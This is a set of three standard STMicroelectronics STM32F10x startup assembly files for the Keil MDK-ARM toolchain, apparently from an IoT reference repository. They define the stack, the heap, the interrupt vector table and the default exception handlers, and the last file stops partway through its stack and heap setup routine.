AlanDoDo/Iot-marthome-reference | 12,458 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_md.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_md.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x Medium Density Devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1_2
DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX
DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_IRQHandler ; TIM1 Break
DCD TIM1_UP_IRQHandler ; TIM1 Update
DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK]
EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_IRQHandler [WEAK]
EXPORT TIM1_UP_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT USBWakeUp_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
USB_HP_CAN1_TX_IRQHandler
USB_LP_CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_IRQHandler
TIM1_UP_IRQHandler
TIM1_TRG_COM_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
USBWakeUp_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 12,079 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_ld.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_ld.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x Low Density Devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1_2
DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX
DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_IRQHandler ; TIM1 Break
DCD TIM1_UP_IRQHandler ; TIM1 Update
DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD 0 ; Reserved
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SPI1_IRQHandler ; SPI1
DCD 0 ; Reserved
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD 0 ; Reserved
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler routine
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK]
EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_IRQHandler [WEAK]
EXPORT TIM1_UP_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT USBWakeUp_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
USB_HP_CAN1_TX_IRQHandler
USB_LP_CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_IRQHandler
TIM1_UP_IRQHandler
TIM1_TRG_COM_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
SPI1_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
USBWakeUp_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 13,758 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_md_vl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_md_vl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x Medium Density Value Line Devices vector table
;* for MDK-ARM toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_IRQHandler ; ADC1
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_TIM15_IRQHandler ; TIM1 Break and TIM15
DCD TIM1_UP_TIM16_IRQHandler ; TIM1 Update and TIM16
DCD TIM1_TRG_COM_TIM17_IRQHandler ; TIM1 Trigger and Commutation and TIM17
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD CEC_IRQHandler ; HDMI-CEC
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD TIM6_DAC_IRQHandler ; TIM6 and DAC underrun
DCD TIM7_IRQHandler ; TIM7
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_TIM15_IRQHandler [WEAK]
EXPORT TIM1_UP_TIM16_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_TIM17_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT CEC_IRQHandler [WEAK]
EXPORT TIM6_DAC_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_TIM15_IRQHandler
TIM1_UP_TIM16_IRQHandler
TIM1_TRG_COM_TIM17_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
CEC_IRQHandler
TIM6_DAC_IRQHandler
TIM7_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
